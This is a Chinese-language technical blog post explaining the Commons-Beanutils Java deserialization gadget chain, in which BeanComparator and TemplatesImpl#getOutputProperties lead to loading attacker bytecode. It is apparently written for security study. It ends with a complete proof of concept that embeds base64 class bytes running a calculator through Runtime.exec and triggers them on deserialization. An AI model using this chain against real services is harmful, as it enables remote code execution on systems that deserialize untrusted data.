本文最后更新于:2024年10月9日 晚上
CB链
CC链分析完整测试代码,可直接拉取
首先,确定CB链的出发点是寻找可以利用的java.util.Comparator
对象。
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。Bean对象对应熟悉Spring那一套框架的同学就比较熟悉了。
首先在项目中导入:
1 2 3 4 5 6 <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils</artifactId > <version > 1.8.3</version > </dependency >
commons-beanutils
中提供了一个静态方法PropertyUtils.getProperty
,让使用者可以直接调用任意JavaBean的getter方法,比如: 此时,commons-beanutils
会自动找到name属性的getter方法,也就是 getName ,然后调用,获得返回值。像Spring中的@Getter
注解就提供了类似的功能。除此之外,PropertyUtils.getProperty
还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过
1 PropertyUtils.getProperty(a, "b.c" );
的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。
回到本文主题,我们需要找可以利用的java.util.Comparator
对象,在commons-beanutils
包中就存在一个:
org.apache.commons.beanutils.BeanComparator
:这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果 property不为空,则用PropertyUtils.getProperty
分别取这两个对象的property属性,比较属性的值。
整理一下思路,在CB包里我们已经找到了一个含有compare
的比较器类,上层使用PriorityQueue
或者TreeBag
都行,那么往下走,就分析这个compare
函数怎么继续构造,我们已经知道PropertyUtils.getProperty
可以直接调用对应Object中某个属性的getter,那么想一想哪个getter函数会触发后续的利用链。先限定一个范围,不能是CC库中的。
回想一下CC3链的分析,出现过getTransletInstance
和getOutputProperties
两个方法,但是只有后者才是公有,所以这里从后者入手,就接上CC3的后半段了,CC3的后半段是不依赖CC库的。
1 2 3 4 5 TemplatesImpl# getOutputProperties () ->TemplatesImpl# newTransformer () -> TemplatesImpl# getTransletInstance () -> TemplatesImpl# defineTransletClasses () -> TransletClassLoader# defineClass ()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
下面构造测试代码:
按照目前比较熟悉的来,构造一个PrioriyQueue
的实例,使用BeanComparator
作为其构造参数,这是CC2/4的顶层,依赖java.utils
。
接着,我们需要了解BeanComparator
构造需要什么,回看其compare方法,需要提前为property
属性赋值,那这个赋值为啥呢,自然就是上面提到的getOutputProperties方法Get的那个属性,
发现在TemplatesImpl
类中,存在一个属性_outputProperties
,**注意getter规则遵循驼峰命名法,所以这里的变量需要去掉下划线,也就是outputProperties
**。
注意此时不能在构造时对BeanComparator
赋值,回看compare方法,如果构造时触发了反序列化,那么函数此时执行就会中断,无法形成后面的payload。所以应该先空构造,在反射修改属性。
贴一下最后的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public static void main (String[] args) throws Exception{ byte [] CalcCode = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEA" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0a" + "W9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKEx" + "jb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hc" + "GFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS9" + "4bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAA" + "ygpVgcAGwEAClNvdXJjZUZpbGUBABBUZW1wbGF0ZVBPQy5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGM" + "MAB8AIAEAC1RlbXBsYXRlUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb" + "HRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR" + "lcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL" + "2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA" + "nKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIA" + "AIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAALAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAA" + "ABAAAAAGxAAAAAQAKAAAABgABAAAADwALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAA" + "bgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAARAAQAEgANABMACwAAAAQAAQAQAAEAEQAAAAIAEg==" ); TemplatesImpl calcTemp = new TemplatesImpl (); setFieldValue(calcTemp, "_bytecodes" , new byte [][] {CalcCode}); setFieldValue(calcTemp, "_name" , "CalcTemplatesImpl" ); setFieldValue(calcTemp, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator comparator = new BeanComparator (); PriorityQueue queue = new PriorityQueue <>(2 ,comparator); queue.add("3xsh0re" ); queue.add("CB-1" ); setFieldValue(comparator,"property" ,"outputProperties" ); setFieldValue(queue,"queue" ,new Object []{calcTemp,calcTemp}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); ois.readObject(); }